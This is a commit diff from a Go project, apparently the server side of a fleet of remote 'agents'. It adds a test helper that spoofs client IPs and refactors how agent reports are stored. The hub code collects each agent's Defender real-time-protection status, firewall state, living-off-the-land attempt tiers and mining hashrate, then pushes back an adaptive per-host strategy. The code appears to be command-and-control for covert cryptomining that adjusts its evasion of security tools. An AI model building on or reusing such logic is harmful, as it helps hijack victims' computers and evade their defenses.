Fix validation failures from loose-end sweep
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -4,6 +4,7 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
@@ -83,13 +84,22 @@ func fleetChiRoute(method, pattern string, handler http.HandlerFunc) http.Handle
|
||||
return r
|
||||
}
|
||||
|
||||
func testAgentClientIP(agentID string) string {
|
||||
var sum int
|
||||
for i, c := range agentID {
|
||||
sum += int(c) * (i + 1)
|
||||
}
|
||||
return fmt.Sprintf("10.42.%d.%d", (sum%250)+1, ((sum/250)%250)+1)
|
||||
}
|
||||
|
||||
func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
hdr := http.Header{"X-Forwarded-For": {testAgentClientIP(agentID)}}
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
|
||||
if err != nil {
|
||||
t.Fatalf("dial agent ws: %v", err)
|
||||
}
|
||||
|
||||
@@ -263,6 +263,7 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
|
||||
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
||||
h.mu.Lock()
|
||||
h.adaptiveEngine = e
|
||||
@@ -882,7 +883,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
domainJoined = true
|
||||
}
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||
resp["adaptive_strategy"] = adaptive
|
||||
}
|
||||
return resp
|
||||
}())})
|
||||
@@ -1721,6 +1723,7 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
||||
return ids
|
||||
}
|
||||
|
||||
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
|
||||
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
||||
h.mu.RLock()
|
||||
engine := h.adaptiveEngine
|
||||
@@ -1763,12 +1766,10 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
|
||||
if v, ok := payload["firewall_domain"].(bool); ok {
|
||||
firewallDomain = &v
|
||||
}
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
|
||||
if hr, ok := payload["mining_hashrate"].(float64); ok {
|
||||
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
|
||||
}
|
||||
}
|
||||
attempts := parseLOTLAttemptsFromPayload(payload)
|
||||
hashrate, _ := payload["mining_hashrate"].(float64)
|
||||
activeTier, _ := payload["lotl_tier"].(string)
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestStrategyFromStats(
|
||||
|
||||
@@ -652,6 +652,9 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
if len(updates) < 2 {
|
||||
continue
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
return
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user